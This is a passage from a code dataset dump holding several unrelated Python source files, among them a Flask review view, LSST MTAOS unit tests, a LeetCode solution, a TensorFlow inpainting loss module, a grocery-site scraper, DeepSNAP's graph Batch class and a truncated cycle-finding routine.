for business in businesses:\n#             if business.location == locationform.location.data:\n#                 return redirect(url_for('main.index',business=business))\n#     return render_template('search.html',locationform=locationform,title='Search',legend='Add Business')\n\n@main.route(\"/review/<int:business_id>\",methods=[\"POST\",\"GET\"])\n@login_required\ndef reviews(business_id):\n    form = ReviewForm()\n    business = Business.query.get(business_id)\n    all_reviews = Review.get_reviews(business_id)\n    if form.validate_on_submit():\n        new_review = form.review.data\n        business_id = business_id\n        user_id = current_user._get_current_object().id\n        review_object = Review(review=new_review,user_id=user_id,business_id=business_id)\n        review_object.save_review()\n    return render_template(\"reviews.html\",review_form = form,all_reviews = all_reviews,business = business)","repo_name":"DebbieElabonga/yellowpages","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74892400420","text":"import csv\nimport pandas as pd\nimport numpy as np\n\n\n\nnp.set_printoptions(threshold=np.inf)\npath = (\"/home/bunny/NewsAnalysisCode/\")\n\nAlphabets = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\n\nfor filename in Alphabets:\n    textLocation = path+\"Words/Positive/\"+filename+\"\"\n    csvLocation = path+\"WordsCSV/Positive/\"+filename+\".csv\"\n    with open(textLocation,'r') as textfile:\n        data = textfile.read()\n        wordsList = data.split(\",\")\n        with open(csvLocation,'w',newline='')as f:\n            thewriter = csv.writer(f)\n            thewriter.writerow(['Words', 'Value','Occurrences'])\n            for word in wordsList:\n                thewriter.writerow([''+word, '4','0'])\n        print(filename+\": Successful\")\n\n","repo_name":"BalaSatish-zz/Sentiment-Analysis-on-Real-time-News","sub_path":"MakeCSVForWords.py","file_name":"MakeCSVForWords.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"3317429851","text":"import asyncio\nimport logging\nimport os\nimport tempfile\nimport time\nimport unittest\nfrom logging.handlers import RotatingFileHandler\nfrom pathlib import Path\n\nimport numpy as np\nimport pytest\nfrom lsst.daf.butler.registry.interfaces import DatabaseConflictError\nfrom lsst.obs.lsst.translators.lsstCam import LsstCamTranslator\nfrom lsst.ts import mtaos\nfrom lsst.ts.wep.task.cutOutDonutsCwfsTask import CutOutDonutsCwfsTask\nfrom lsst.ts.wep.utility import CamType\nfrom lsst.ts.wep.utility import getModulePath as getModulePathWep\n\n\nclass TestUtility(unittest.TestCase):\n    \"\"\"Test the Utility functions.\"\"\"\n\n    def setUp(self):\n        self.dataDir = tempfile.TemporaryDirectory(\n            dir=mtaos.getModulePath().joinpath(\"tests\").as_posix()\n        )\n\n    def tearDown(self):\n        self.dataDir.cleanup()\n\n    def testGetModulePath(self):\n        modulePath = mtaos.getModulePath()\n        self.assertTrue(modulePath.exists())\n        self.assertTrue(\"ts_mtaos\" in modulePath.name.lower())\n\n    def testGetConfigDir(self):\n        ansConfigDir = mtaos.getModulePath().joinpath(\"policy\")\n        self.assertEqual(mtaos.getConfigDir(), ansConfigDir)\n\n    def testGetLogDir(self):\n        ansLogDir = mtaos.getModulePath().joinpath(\"logs\")\n        self.assertEqual(mtaos.getLogDir(), ansLogDir)\n        self.assertTrue(ansLogDir.exists())\n\n    def testGetIsrDirPathNotAssigned(self):\n        isrDir = mtaos.getIsrDirPath()\n        self.assertEqual(isrDir, None)\n\n    def testGetIsrDirPath(self):\n        ISRDIRPATH = \"/path/to/isr/dir\"\n        os.environ[\"ISRDIRPATH\"] = ISRDIRPATH\n\n        isrDir = mtaos.getIsrDirPath()\n        self.assertEqual(isrDir, Path(ISRDIRPATH))\n\n        os.environ.pop(\"ISRDIRPATH\")\n\n    def testGetCamType(self):\n        self.assertEqual(mtaos.getCamType(\"lsstCam\"), CamType.LsstCam)\n        self.assertEqual(mtaos.getCamType(\"lsstFamCam\"), CamType.LsstFamCam)\n        self.assertEqual(mtaos.getCamType(\"comcam\"), CamType.ComCam)\n\n        self.assertRaises(ValueError, mtaos.getCamType, \"wrongType\")\n\n    def testGetCscName(self):\n        cscName = mtaos.getCscName()\n        self.assertEqual(cscName, \"MTAOS\")\n\n    def testAddRotFileHandler(self):\n        log = logging.Logger(\"test\")\n        dataDirPath = self.dataDir.name\n        filePath = Path(dataDirPath).joinpath(\"test.log\")\n        mtaos.addRotFileHandler(\n            log, filePath, logging.DEBUG, maxBytes=1e3, backupCount=5\n        )\n\n        handlers = log.handlers\n        self.assertEqual(len(handlers), 1)\n        self.assertTrue(isinstance(handlers[0], RotatingFileHandler))\n\n        for counter in range(20):\n            log.critical(\"Test file rotation.\")\n            time.sleep(0.2)\n\n        numOfFile = self._getNumOfFileInFolder(dataDirPath)\n        self.assertEqual(numOfFile, 2)\n\n    def _getNumOfFileInFolder(self, folder):\n        items = Path(folder).glob(\"*\")\n        files = [aItem for aItem in items if aItem.is_file()]\n\n        return len(files)\n\n    def test_get_formatted_corner_wavefront_sensors_ids(self):\n        mtaos_cwfs_detector_ids = set(\n            [\n                int(detector_id)\n                for detector_id in mtaos.get_formatted_corner_wavefront_sensors_ids().split(\n                    \",\"\n                )\n            ]\n        )\n\n        detector_mapping = LsstCamTranslator.detector_mapping()\n\n        cwfs_task = CutOutDonutsCwfsTask()\n\n        expected_cwfs_detector_ids = set(\n            [\n                detector_mapping[cwfs_detector_name][0]\n                for cwfs_detector_name in cwfs_task.extraFocalNames\n                + cwfs_task.intraFocalNames\n            ]\n        )\n\n        assert mtaos_cwfs_detector_ids == expected_cwfs_detector_ids\n\n    def test_timeit(self):\n        @mtaos.timeit\n        def my_retval(arg1, arg2, arg3, arg4, sleep_time, **kwargs):\n            time.sleep(sleep_time)\n            return arg1, arg2, arg3, arg4\n\n        @mtaos.timeit\n        async def amy_retval(arg1, arg2, arg3, arg4, sleep_time, **kwargs):\n            await asyncio.sleep(sleep_time)\n            return arg1, arg2, arg3, arg4\n\n        exec_time = {}\n        sleep_time = 0.1\n\n        for i in range(10):\n            r_a1, r_a2, r_a3, r_a4 = my_retval(\n                arg1=\"this\",\n                arg2=\"is\",\n                arg3=\"a\",\n                arg4=\"test\",\n                sleep_time=sleep_time,\n                log_time=exec_time,\n            )\n            self.assertEqual(r_a1, \"this\")\n            self.assertEqual(r_a2, \"is\")\n            self.assertEqual(r_a3, \"a\")\n            self.assertEqual(r_a4, \"test\")\n\n        for i in range(10):\n            r_a1, r_a2, r_a3, r_a4 = asyncio.run(\n                amy_retval(\n                    arg1=\"this\",\n                    arg2=\"is\",\n                    arg3=\"a\",\n                    arg4=\"test\",\n                    sleep_time=sleep_time,\n                    log_time=exec_time,\n                )\n            )\n            self.assertEqual(r_a1, \"this\")\n            self.assertEqual(r_a2, \"is\")\n            self.assertEqual(r_a3, \"a\")\n            self.assertEqual(r_a4, \"test\")\n\n        self.assertTrue(\"MY_RETVAL\" in exec_time)\n        self.assertTrue(\"AMY_RETVAL\" in exec_time)\n\n        self.assertAlmostEqual(sleep_time, np.mean(exec_time[\"MY_RETVAL\"]), 2)\n        self.assertAlmostEqual(sleep_time, np.mean(exec_time[\"AMY_RETVAL\"]), 2)\n\n    @pytest.mark.xfail(\n        reason=\"There is something wrong with the test data that causes this to fail.\",\n        raises=DatabaseConflictError,\n    )\n    def test_define_visit(self) -> None:\n        data_path = os.path.join(\n            getModulePathWep(), \"tests\", \"testData\", \"gen3TestRepo\"\n        )\n\n        mtaos.define_visit(\n            data_path=data_path,\n            collections=[\"LSSTCam/raw/all\"],\n            instrument_name=\"LSSTCam\",\n            exposures_str=\"exposure IN (4021123106001, 4021123106002)\",\n        )\n\n\nif __name__ == \"__main__\":\n    # Do the unit test\n    unittest.main()\n","repo_name":"lsst-ts/ts_mtaos","sub_path":"tests/test_utility.py","file_name":"test_utility.py","file_ext":"py","file_size_in_byte":5962,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"38426260751","text":"\"\"\"\nhttps://leetcode-cn.com/problems/sorting-the-sentence/\n\n一个 句子 指的是一个序列的单词用单个空格连接起来，且开头和结尾没有任何空格。每个单词都只包含小写或大写英文字母。\n\n我们可以给一个句子添加 从 1 开始的单词位置索引 ，并且将句子中所有单词 打乱顺序 。\n    比方说，句子 \"This is a sentence\" 可以被打乱顺序得到 \"sentence4 a3 is2 This1\" 或者 \"is2 sentence4 This1 a3\" 。\n\n给你一个 打乱顺序 的句子 s ，它包含的单词不超过 9 个，请你重新构造并得到原本顺序的句子。\n\n示例 1：\n    输入：s = \"is2 sentence4 This1 a3\"\n    输出：\"This is a sentence\"\n    解释：将 s 中的单词按照初始位置排序，得到 \"This1 is2 a3 sentence4\" ，然后删除数字。\n\n示例 2：\n    输入：s = \"Myself2 Me1 I4 and3\"\n    输出：\"Me Myself and I\"\n    解释：将 s 中的单词按照初始位置排序，得到 \"Me1 Myself2 and3 I4\" ，然后删除数字。\n\n提示：\n    2 <= s.length <= 200\n    s 只包含小写和大写英文字母、空格以及从 1 到 9 的数字。\n    s 中单词数目为 1 到 9 个。\n    s 中的单词由单个空格分隔。\n    s 不包含任何前导或者后缀空格。\n\n\"\"\"\n\nclass Solution:\n    def sortSentence(self, s: str) -> str:\n        words = s.split(\" \")    # 分割字符串\n        arr = [\"\" for _ in range(len(s))]   # 单词数组\n        for ch in words:\n            # 计算位置索引对应的单词数组下标，并将单词放入对应位置\n            # 数组下标为 0 开头，位置索引为 1 开头\n            arr[int(ch[-1])-1] = ch[:-1]\n        return \" \".join(arr)\n    \nclass Solution:\n    def sortSentence(self, s: str) -> str:\n        words = s.split(\" \")\n        words = sorted(words, key = lambda w : w[-1])\n        return ' '.join(w[:-1] for w in words)\n\nif __name__ == \"__main__\":\n    s = \"is2 sentence4 This1 a3\"\n    sol = Solution()\n    result = sol.sortSentence(s)\n    print(result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/1_easy/1859_将句子排序.py","file_name":"1859_将句子排序.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37209893864","text":"import pandas as pd\nimport numpy as np\nimport jieba\n\nfrom WordMap import WordMap\n\nneg=pd.read_excel('neg.xls',header=None,index=None)\npos=pd.read_excel('pos.xls',header=None,index=None)\npn=pd.concat([pos,neg],ignore_index=True)\n\ncw = lambda x: list(jieba.cut(x, HMM=False))\npn['words'] = pn[0].apply(cw)\n\nw = []\nfor i in pn['words']:\n  w.extend(i)\n\nwordmap = WordMap()\nwordmap.build(w, 35000)\nwordmap.save(\"word.map\")\n","repo_name":"codeworm96/Rei","sub_path":"build_dict.py","file_name":"build_dict.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"2862626050","text":"import os\nfrom multiprocessing import shared_memory\n\n\ndef clearUp(share_name):\n    try:\n        shm_a = shared_memory.SharedMemory(name=share_name, create=False, size=268)\n        shm_a.unlink()\n    except Exception as e:\n        print(\"delShareInfo:\", e)\n    path = os.path.join(\"/data/tmp/boost_interprocess\", share_name)\n    if os.path.exists(path):\n        os.remove(path)\n","repo_name":"qw1343308643/iclient","sub_path":"nettestclient_python/common/systemClear.py","file_name":"systemClear.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18319433299","text":"###  out_im: 4_dim trnsor   ####   cacu_loss\n###  raw_im: 4_dim trnsor\n###  bin_mask: 2_dim array\nimport tensorflow as tf\nimport functools\n\ndef get_gram(x):\n    ba,hi,wi,ch = [i.value for i in x.get_shape()]\n    feature = tf.reshape(x,[ba,int(hi*wi),ch])\n    feature_T = tf.transpose(feature,[0,2,1])\n    gram = tf.matmul(feature_T,feature)\n    size = 1/(hi*wi*ch)\n    return gram*size\n\ndef hole_loss(I_out,I_gt,bin_mask):\n    L_hole = tf.reduce_mean(tf.abs((1-bin_mask)*(I_out-I_gt)))\n    return L_hole\n\ndef valid_loss(I_out,I_gt,bin_mask):\n    L_valid = tf.reduce_mean(tf.abs(bin_mask*(I_out-I_gt)))\n    return L_valid\n\ndef Percept_loss(fai_out,fai_gt,fai_comp,layers):\n    out_gt = []\n    compt_gt = []\n    for layer in layers:\n        out_gt.append(tf.reduce_mean(tf.abs(fai_out[layer]-fai_gt[layer])))\n        compt_gt.append(tf.reduce_mean(tf.abs(fai_comp[layer]-fai_gt[layer])))\n    out_gt_loss = functools.reduce(tf.add,out_gt)\n    compt_gt_loss = functools.reduce(tf.add,compt_gt)\n    return out_gt_loss+compt_gt_loss\n\ndef Style_loss_out(fai_out,fai_gt,layers):\n    styleloss = []\n    for layer in layers:\n        gram_out = get_gram(fai_out[layer])\n        gram_gt = get_gram(fai_gt[layer])\n        styleloss.append(tf.reduce_mean(tf.abs(gram_out-gram_gt)))\n    style_out_loss = functools.reduce(tf.add,styleloss)\n    return style_out_loss\n\ndef Style_loss_comp(fai_comp,fai_gt,layers):\n    styleloss = []\n    for layer in layers:\n        gram_comp = get_gram(fai_comp[layer])\n        gram_gt = get_gram(fai_gt[layer])\n        styleloss.append(tf.reduce_mean(tf.abs(tf.subtract(gram_comp,gram_gt))))\n    style_comp_loss = functools.reduce(tf.add,styleloss)\n    return style_comp_loss\n\ndef Tv_loss(I_comp):\n    I_comp_size = [i.value for i in I_comp.get_shape()]\n    x_size = int(I_comp_size[2]*(I_comp_size[1]-1)*I_comp_size[3])\n    y_size = int(I_comp_size[1]*(I_comp_size[2]-1)*I_comp_size[3])\n    I_comp_x1 = I_comp[:,0:(I_comp_size[1]-1),:,:]\n    I_comp_x2 = I_comp[:,1:I_comp_size[1],:,:]\n    I_comp_y1 = I_comp[:,:,0:(I_comp_size[2]-1),:]\n    I_comp_y2 = I_comp[:,:,1:I_comp_size[2],:] \n    tv_x = tf.reduce_sum(tf.squared_difference(I_comp_x1,I_comp_x2))/x_size\n    tv_y = tf.reduce_sum(tf.squared_difference(I_comp_y1,I_comp_y2))/y_size\n    tv_loss = tv_y+tv_x\n    return tv_loss\n\ndef get_total_loss(I_out,I_gt,bin_mask,fai_out,fai_gt,fai_comp,layers,I_comp):\n    l_hole = hole_loss(I_out,I_gt,bin_mask)\n    l_valid = valid_loss(I_out,I_gt,bin_mask)\n    percept_loss = Percept_loss(fai_out,fai_gt,fai_comp,layers)\n    style_loss_out = Style_loss_out(fai_out,fai_gt,layers)\n    style_loss_comp = Style_loss_comp(fai_comp,fai_gt,layers)\n    tv_loss = Tv_loss(I_comp)\n    all_loss = 6*l_hole + l_valid + 0.05*percept_loss + 120*(style_loss_out + style_loss_comp) + 0.1*tv_loss\n    return all_loss,l_hole,l_valid,percept_loss,style_loss_out,style_loss_comp,tv_loss\n","repo_name":"Rongpeng-Lin/PConv_in_tf","sub_path":"cacu_loss.py","file_name":"cacu_loss.py","file_ext":"py","file_size_in_byte":2878,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"35"}
{"seq_id":"34624596731","text":"import requests\nfrom parsel import Selector\n\nheaders = {\n    \"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\",\n    \"accept-language\": \"en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7\",\n    \"user-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36\",\n}\nurl = \"https://www.edeka24.de/\"\n\ndef url_links(selector, xpath_expression, page=''):\n    links = selector.xpath(xpath_expression).extract()\n    repeated = set()\n    for i in range(len(links)):\n        if not links[i].startswith(\"https://www.edeka24.de/\"):\n            links[i] = \"https://www.edeka24.de\" + links[i]\n\n    for link in links:\n        urls = link.split('?')[0]\n        if urls in repeated:\n            break\n        repeated.add(urls)\n        url1=urls + \"?pgNr=\" + str(page)\n        print(url1)\n        response1 = requests.get(url1, headers=headers)\n        selector1= Selector(response1.text)\n        title =selector1.xpath(\"//div[@class='product-details']/a[@class='title']/h2/text()\").extract()\n        product_title = '\\n'.join(title)\n        print(product_title)\n        # price =selector.xpath(\"//div[@class='left']/text()\").extract()\n        # product_price = '\\n'.join(price)\n        # print(product_price)\n        # else:\n        #     price=selector.xpath(\"//div[@class='product-details']//div[@class='price salesprice']/text()\").extract()\n        #     product_price = '\\n'.join(price)\n        #     print(product_price)\n        # response1 = requests.get(url1, headers=headers)\n        # selector1= Selector(response1.text)\n        # title =selector1.xpath(\"//div[@class='product-details']/a[@class='title']/h2/text()\").extract()\n        # product_title = '\\n'.join(title)\n        # print(product_title)\n        images =selector1.xpath(\"//div[@class='product-image']/a/img/@src\").extract()\n        image = '\\n'.join(images)\n        print(image)\n        print()\ndef main_list(page=1):\n    response = requests.get(url, headers=headers)\n    print(response.status_code)\n    selector = Selector(response.text)\n    url_links(selector, '//a/@data-link', page)\n    url_links(selector, \"//li[@class='nav-item-mobile is-level-2']/a/@href\", page)\n    url_links(selector, '//li[@class=\"nav-item-mobile is-level-1\"]/span/a/@href', page)\n    main_list(page + 1)\n\nmain_list(1) \n","repo_name":"Aiswaryav02/hw-training","sub_path":"2023-06-09/edka24.py","file_name":"edka24.py","file_ext":"py","file_size_in_byte":2389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14722752745","text":"import torch\nfrom deepsnap.graph import Graph\nfrom deepsnap.hetero_graph import HeteroGraph\nfrom typing import (\n    Callable,\n    Dict,\n    List\n)\n\n\nclass Batch(Graph):\n    r\"\"\"\n    A plain old python object modeling a batch of\n    :class:`deepsnap.graph.Graph` objects as one big (disconnected) graph,\n    with :class:`torch_geometric.data.Data` being the\n    base class that all its methods can also be used here.\n    In addition, graphs can be reconstructed via the assignment vector\n    :obj:`batch`, which maps each node to its respective graph identifier.\n\n    .. note::\n\n        For more detailed use of :class:`deepsnap.batch.Batch`, see the `examples \n        <https://github.com/snap-stanford/deepsnap/tree/master/examples>`_ folder.\n\n    \"\"\"\n    def __init__(self, batch=None, **kwargs):\n        super(Batch, self).__init__(**kwargs)\n\n        self.batch = batch\n        self.__data_class__ = Graph\n        self.__slices__ = None\n\n    @staticmethod\n    def collate(follow_batch=[], transform=None, **kwargs):\n        return lambda batch: Batch.from_data_list(\n            batch, follow_batch, transform, **kwargs\n        )\n\n    @staticmethod\n    def from_data_list(\n        data_list: List[Graph],\n        follow_batch: List = None,\n        transform: Callable = None,\n        **kwargs\n    ):\n        r\"\"\"\n        Constructs A :class:`deepsnap.batch.Batch` object from a python list\n        holding :class:`torch_geometric.data.Data` objects.\n        The assignment vector :obj:`batch` is created on the fly.\n        Additionally, creates assignment batch vectors for each key in\n        :obj:`follow_batch`.\n\n        Args:\n            data_list (list): A list of :class:`deepsnap.graph.Graph` objects.\n            follow_batch (list): Creates assignment batch vectors\n                for each key.\n            transform (callable): If it is not `None`, apply transform \n                when batching.\n            **kwargs: Other parameters.\n        \"\"\"\n        if follow_batch is None:\n            follow_batch = []\n        if transform is not None:\n            data_list = [\n                data.apply_transform(\n                    transform,\n                    deep_copy=True,\n                    **kwargs,\n                )\n                for data in data_list\n            ]\n        keys = [set(data.keys) for data in data_list]\n        keys = list(set.union(*keys))\n        assert \"batch\" not in keys\n\n        batch, cumsum = Batch._init_batch_fields(keys, follow_batch)\n        batch.__data_class__ = data_list[0].__class__\n        batch.batch = []\n        for i, data in enumerate(data_list):\n            # Note: in heterogeneous graph, __inc__ logic is different\n            Batch._collate_dict(\n                data, cumsum,\n                batch.__slices__, batch,\n                data, follow_batch, i=i\n            )\n            if isinstance(data, Graph):\n                if isinstance(data, HeteroGraph):\n                    num_nodes = sum(data.num_nodes().values())\n                else:\n                    num_nodes = data.num_nodes\n            else:\n                raise TypeError(\n                    \"element in self.graphs of unexpected type\"\n                )\n            if num_nodes is not None:\n                item = torch.full((num_nodes, ), i, dtype=torch.long)\n                batch.batch.append(item)\n\n        if num_nodes is None:\n            batch.batch = None\n\n        Batch._dict_list_to_tensor(batch, data_list[0])\n\n        return batch.contiguous()\n\n    @staticmethod\n    def _init_batch_fields(keys, follow_batch):\n        batch = Batch()\n        batch.__slices__ = {key: [0] for key in keys}\n\n        for key in keys:\n            batch[key] = []\n\n        for key in follow_batch:\n            batch[f\"{key}_batch\"] = []\n\n        cumsum = {key: 0 for key in keys}\n        return batch, cumsum\n\n    @staticmethod\n    def _collate_dict(\n        curr_dict,\n        cumsum: Dict[str, int],\n        slices,\n        batched_dict,\n        graph,\n        follow_batch,\n        i=None\n    ):\n        r\"\"\" Called in from_data_list to collate a dictionary.\n        This can also be applied to Graph object, since it has support for\n        keys and __getitem__().\n\n        Args:\n            curr_dict: current dictionary to be added to the\n                collated dictionary.\n            cumsum: cumulative sum to be used for indexing.\n            slices: a dictionary of the same structure as batched_dict,\n                slices[key] indicates the indices to slice batch[key] into\n                tensors for all graphs in the batch.\n            batched_dict: the batched dictionary of the same structure\n                as curr_dict. But all graph data are batched together.\n        \"\"\"\n        if isinstance(curr_dict, dict):\n            keys = curr_dict.keys()\n        else:\n            keys = curr_dict.keys\n        for key in keys:\n            item = curr_dict[key]\n            if isinstance(item, dict):\n                # recursively collate every key in the dictionary\n                if isinstance(batched_dict[key], list):\n                    # nested dictionary not initialized yet\n                    assert len(batched_dict[key]) == 0\n                    # initialize the nested dictionary for batch\n                    cumsum[key] = {inner_key: 0 for inner_key in item.keys()}\n                    slices[key] = {inner_key: [0] for inner_key in item.keys()}\n                    batched_dict[key] = {}\n                    for inner_key in item.keys():\n                        batched_dict[key][inner_key] = []\n                    for inner_key in follow_batch:\n                        batched_dict[key][f\"{key}_batch\"] = []\n                Batch._collate_dict(\n                    item, cumsum[key],\n                    slices[key], batched_dict[key],\n                    graph, follow_batch, i=i\n                )\n                continue\n            if torch.is_tensor(item) and item.dtype != torch.bool:\n                item = item + cumsum[key]\n            if torch.is_tensor(item):\n                size = item.size(graph.__cat_dim__(key, curr_dict[key]))\n            else:\n                size = 1\n            slices[key].append(size + slices[key][-1])\n            cumsum[key] = cumsum[key] + graph.__inc__(key, item)\n            batched_dict[key].append(item)\n\n            if key in follow_batch:\n                item = torch.full((size, ), i, dtype=torch.long)\n                batched_dict[f\"{key}_batch\"].append(item)\n\n    @staticmethod\n    def _dict_list_to_tensor(dict_of_list, graph):\n        r\"\"\"Convert a dict/Graph with list as values to a dict/Graph with\n        concatenated/stacked tensor as values.\n        \"\"\"\n        if isinstance(dict_of_list, dict):\n            keys = dict_of_list.keys()\n        else:\n            keys = dict_of_list.keys\n        for key in keys:\n            if isinstance(dict_of_list[key], dict):\n                # recursively convert the dictionary of list to dict of tensor\n                Batch._dict_list_to_tensor(dict_of_list[key], graph)\n                continue\n            item = dict_of_list[key][0]\n            if torch.is_tensor(item):\n                if (\n                    Graph._is_graph_attribute(key)\n                    and item.ndim == 1\n                    and (not item.dtype == torch.long)\n                    and \"feature\" in key\n                ):\n                    # special consideration: 1D tensor for graph\n                    # attribute (classification)\n                    # named as: \"graph_xx_feature\"\n                    # batch by stacking the first dim\n                    dict_of_list[key] = torch.stack(\n                        dict_of_list[key],\n                        dim=0\n                    )\n                else:\n                    # concat at the __cat_dim__\n                    dict_of_list[key] = torch.cat(\n                        dict_of_list[key],\n                        dim=graph.__cat_dim__(key, item)\n                    )\n            elif isinstance(item, (float, int)):\n                dict_of_list[key] = torch.tensor(dict_of_list[key])\n\n    def to_data_list(self):\n        r\"\"\"\n        Reconstructs the list of :class:`torch_geometric.data.Data` objects\n        from the batch object.\n        The batch object must have been created via :meth:`from_data_list` in\n        order to be able to reconstruct the initial objects.\n        \"\"\"\n        if self.__slices__ is None:\n            raise RuntimeError(\n                \"Cannot reconstruct data list from batch because the \"\n                \"batch object was not created using Batch.from_data_list()\"\n            )\n\n        keys = [key for key in self.keys if key[-5:] != \"batch\"]\n        cumsum = {key: 0 for key in keys}\n        data_list = []\n        for i in range(len(self.__slices__[keys[0]]) - 1):\n            # i: from 0 up to num graphs in the batch\n            data = self.__data_class__()\n            self._reconstruct_dict(\n                i, keys, data, cumsum, self.__slices__, self, data\n            )\n            data_list.append(data)\n\n        return data_list\n\n    def _reconstruct_dict(\n            self, graph_idx: int, keys, data_dict,\n            cumsum: Dict[str, int], slices, batched_dict, graph):\n\n        for key in keys:\n            if isinstance(batched_dict[key], dict):\n                # recursively unbatch the dict\n                data_dict[key] = {}\n                inner_keys = [\n                    inner_key\n                    for inner_key in batched_dict[key].keys()\n                    if inner_key[-5:] != \"batch\"\n                ]\n                inner_cumsum = {inner_key: 0 for inner_key in inner_keys}\n                inner_slices = slices[key]\n                self._reconstruct_dict(\n                    graph_idx, inner_keys,\n                    data_dict[key], inner_cumsum,\n                    inner_slices, batched_dict[key], graph\n                )\n                continue\n\n            if torch.is_tensor(batched_dict[key]):\n                data_dict[key] = batched_dict[key].narrow(\n                    graph.__cat_dim__(key, batched_dict[key]),\n                    slices[key][graph_idx],\n                    slices[key][graph_idx + 1] - slices[key][graph_idx]\n                )\n                if batched_dict[key].dtype != torch.bool:\n                    data_dict[key] = data_dict[key] - cumsum[key]\n            else:\n                data_dict[key] = (\n                    batched_dict[key][\n                        slices[key][graph_idx]:slices[key][graph_idx + 1]\n                    ]\n                )\n            cumsum[key] = cumsum[key] + graph.__inc__(key, data_dict[key])\n\n    @property\n    def num_graphs(self) -> int:\n        r\"\"\"\n        Returns the number of graphs in the batch.\n\n        Returns:\n            int: The number of graphs in the batch.\n        \"\"\"\n        return self.batch[-1].item() + 1\n\n    def apply_transform(\n        self,\n        transform,\n        update_tensor: bool = True,\n        update_graph: bool = False,\n        deep_copy: bool = False,\n        **kwargs\n    ):\n        r\"\"\"\n        Applies a transformation to each graph object in parallel by first\n        calling `to_data_list`, applying the transform, and then perform\n        re-batching again to a `Batch`.\n        A transform should edit the graph object,\n        including changing the graph structure, or adding\n        node / edge / graph level attributes.\n        The rest are automatically handled by the\n        :class:`deepsnap.graph.Graph` object, including everything\n        ended with `index`.\n\n        Args:\n            transform (callable): Transformation function applied to each graph object.\n            update_tensor (bool): Whether use nx graph to update tensor attributes.\n            update_graph (bool): Whether use tensor attributes to update nx graphs.\n            deep_copy (bool): :obj:`True` if a new deep copy of batch is returned.\n                This option allows modifying the batch of graphs without\n                changing the graphs in the original dataset.\n            kwargs: Parameters used in the transform function for each\n                :class:`deepsnap.graph.Graph`.\n\n        Returns:\n            A batch object containing all transformed graph objects.\n\n        \"\"\"\n        # TODO: transductive setting, assert update_tensor == True\n        return self.from_data_list(\n            [\n                Graph(graph).apply_transform(\n                    transform, update_tensor, update_graph, deep_copy, **kwargs\n                )\n                for graph in self.G\n            ]\n        )\n\n    def apply_transform_multi(\n        self,\n        transform,\n        update_tensors: bool = True,\n        update_graphs: bool = False,\n        deep_copy: bool = False,\n        **kwargs\n    ):\n        r\"\"\"\n        Compared to :meth:`apply_transform`, this allows multiple graph objects\n        to be returned by the given transform function.\n\n        Args:\n            transform (callable): (Multiple return value) tranformation function\n                applied to each graph object. It needs to return a tuple of\n                Graph objects.\n            update_tensors (bool): Whether use nx graph to update tensor attributes.\n            update_graphs (bool): Whether use tensor attributes to update nx graphs.\n            deep_copy (bool): :obj:`True` if a new deep copy of batch is returned.\n                This option allows modifying the batch of graphs without\n                changing the graphs in the original dataset.\n            kwargs: Parameters used in the transform function for each\n                :class:`deepsnap.graph.Graph`.\n\n        Returns:\n            A tuple of batch objects. The i-th batch object contains the i-th\n            return value of the transform function applied to all graphs\n            in the batch.\n        \"\"\"\n        g_lists = (\n            zip(\n                *[\n                    Graph(graph).apply_transform_multi(\n                        transform, update_tensors, update_graphs,\n                        deep_copy, **kwargs,\n                    )\n                    for graph in self.G\n                ]\n            )\n        )\n        return (self.from_data_list(g_list) for g_list in g_lists)\n","repo_name":"snap-stanford/deepsnap","sub_path":"deepsnap/batch.py","file_name":"batch.py","file_ext":"py","file_size_in_byte":14255,"program_lang":"python","lang":"en","doc_type":"code","stars":508,"dataset":"github-code","pt":"35"}
{"seq_id":"20094171561","text":"from collections import defaultdict\nimport matplotlib\nmatplotlib.use('TkAgg')\n#import matplotlib.pyplot as plt\nimport random as rnd\nimport networkx as nx\nimport math as mt\nimport pylab\n\n\ndef _unblock(thisnode, blocked, B):\n\tstack = {thisnode}\n\twhile stack:\n\t\tnode = stack.pop()\n\t\tif node in blocked:\n\t\t\tblocked.remove(node)\n\t\t\tstack.update(B[node])\n\t\t\tB[node].clear()\n\ndef simple_cycles(G):\n\t# Johnson's algorithm requires some ordering of the nodes.\n\t# We assign the arbitrary ordering given by the strongly connected comps\n\t# There is no need to track the ordering as each node removed as processed.\n\t# Also we save the actual graph so we can mutate it. We only take the\n\t# edges because we do not want to copy edge and node attributes here.\n\tsubG = type(G)(G.edges())\n\tsccStack = [scc for scc in nx.strongly_connected_components(subG) if len(scc) > 1]\n\n\t# Johnson's algorithm exclude self cycle edges like (v, v)\n\t# To be backward compatible, we record those cycles in advance\n\t# and then remove from subG\n\tfor v in subG:\n\t\tif subG.has_edge(v, v):\n\t\t\tyield [v]\n\t\t\tsubG.remove_edge(v, v)\n\n\twhile sccStack:\n\t\tscc = sccStack.pop()\n\t\tsccG = subG.subgraph(scc)\n\t\t# order of scc determines ordering of nodes\n\t\tstartnode = scc.pop()\n\t\t# Processing node runs \"circuit\" routine from recursive version ( recursive version = teljessen másik verzió/implementációból)\n\t\tpath = [startnode]\n\t\tblocked = set() # vertex: blocked from search? # Maybe visited?\n\t\tclosed = set() # nodes involved in a 